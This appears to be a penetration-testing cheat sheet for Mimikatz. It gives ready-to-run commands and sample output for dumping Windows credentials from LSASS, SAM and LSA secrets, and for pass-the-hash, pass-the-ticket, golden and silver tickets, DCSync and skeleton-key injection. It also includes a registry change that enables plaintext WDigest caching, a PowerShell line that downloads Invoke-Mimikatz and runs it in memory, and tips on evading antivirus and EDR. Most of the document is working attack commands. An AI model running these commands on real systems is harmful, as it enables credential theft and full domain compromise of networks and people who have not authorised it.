Mimikatz

Comprehensive guide to Mimikatz for credential extraction, pass-the-hash, Kerberos attacks, and Windows post-exploitation techniques.

Introduction

Mimikatz is a powerful post-exploitation tool for extracting credentials from Windows memory. Created by Benjamin Delpy, it has become essential for penetration testers and red teamers working in Windows environments. Mimikatz can extract plaintext passwords, hashes, PIN codes, and Kerberos tickets from memory.

Detection Warning

Mimikatz is heavily signatured by antivirus and EDR solutions. In modern engagements, consider alternatives like:

Invoke-Mimikatz - PowerShell version
SafetyKatz - .NET implementation
SharpKatz - C# port
pypykatz - Python implementation (works on LSASS dumps offline)

Getting Started

Prerequisites

Most Mimikatz operations require elevated privileges:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id  : 0
User name : NT AUTHORITY\SYSTEM

Module Overview

Module	Description
`sekurlsa`	Extract passwords, keys, tickets from LSASS
`kerberos`	Kerberos ticket manipulation
`lsadump`	LSA secrets, SAM, cached credentials
`vault`	Windows Vault passwords
`crypto`	Certificate and key operations
`token`	Token manipulation
`process`	Process manipulation and injection

Credential Extraction

Dump Logon Passwords

Dump Logon Passwords from LSASS Memory

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 515764 (00000000:0007df34)
Session           : Interactive from 1
User Name         : Administrator
Domain            : CORP
Logon Server      : DC01
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : CORP
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        wdigest :
         * Username : Administrator
         * Domain   : CORP
         * Password : P@ssw0rd123!

Dump SAM Database

mimikatz # lsadump::sam

RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: cc36cf7a8514893efccd332446158b1a

RID  : 000001f5 (501)
User : Guest

Dump LSA Secrets

mimikatz # lsadump::secrets

Secret  : DefaultPassword
cur/text: ServiceAccountP@ss!

Dump Cached Domain Credentials

mimikatz # lsadump::cache

User          : CORP\jsmith
MsCacheV2     : $DCC2$10240#jsmith#a1b2c3d4e5f6...

Extract from LSASS Dump

mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

Pass-the-Hash

Execute commands using NTLM hash without knowing the password:

Pass-the-Hash Attack

mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:cc36cf7a8514893efccd332446158b1a /run:cmd.exe

With AES Keys

mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9

Kerberos Attacks

Export Tickets

Export Kerberos Tickets

mimikatz # sekurlsa::tickets /export

# List current tickets
mimikatz # kerberos::list

# Purge tickets
mimikatz # kerberos::purge

Pass-the-Ticket

Pass-the-Ticket Attack

mimikatz # kerberos::ptt ticket.kirbi

# Verify
mimikatz # kerberos::list

Golden Ticket

Create a forged TGT with the krbtgt hash:

Golden Ticket Attack

# First, get krbtgt hash via DCSync
mimikatz # lsadump::dcsync /user:corp\krbtgt

# Create golden ticket
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:cc36cf7a8514893efccd332446158b1a /id:500 /ptt

# Open command prompt with ticket
mimikatz # misc::cmd

Silver Ticket

Create a forged service ticket:

Silver Ticket Attack

mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:sql01.corp.local /service:MSSQLSvc /rc4:cc36cf7a8514893efccd332446158b1a /ptt

DCSync Attack

Replicate credentials from Domain Controller:

DCSync Attack - Replicate Domain Credentials

mimikatz # lsadump::dcsync /user:corp\Administrator
mimikatz # lsadump::dcsync /user:corp\krbtgt
mimikatz # lsadump::dcsync /all /csv

Requirements:

Replicating Directory Changes
Replicating Directory Changes All
Replicating Directory Changes in Filtered Set

Skeleton Key

Inject a master password into LSASS (works on any account):

Skeleton Key Attack

mimikatz # privilege::debug
mimikatz # misc::skeleton

# Now authenticate to any account with password "mimikatz"
net use \\dc01\admin$ /user:Administrator mimikatz

PowerShell (Invoke-Mimikatz)

PowerSploit Archived

PowerSploit is no longer actively maintained. Consider using SharpKatz, SafetyKatz, or pypykatz for maintained alternatives.

Invoke-Mimikatz PowerShell Usage

# Load Mimikatz in memory (PowerSploit - archived)
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')

# Dump credentials
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'

# DCSync
Invoke-Mimikatz -Command '"lsadump::dcsync /user:CORP\Administrator"'

# Golden ticket
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... /krbtgt:HASH /ptt"'

# Pass-the-hash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:HASH /run:powershell.exe"'

WDigest Credential Caching

Enable plaintext password storage (requires user to re-authenticate):

Enable WDigest for Plaintext Password Capture

# Enable WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

# Requires lock/unlock or logoff/logon to take effect

Common One-Liners

Common Mimikatz One-Liners

# Full credential dump
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::sam
mimikatz # vault::cred
mimikatz # vault::list

# Kerberos tickets
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::list /export

# Pass-the-hash
mimikatz # sekurlsa::pth /user:Admin /domain:CORP /ntlm:HASH /run:cmd

# DCSync all
mimikatz # lsadump::dcsync /domain:corp.local /all /csv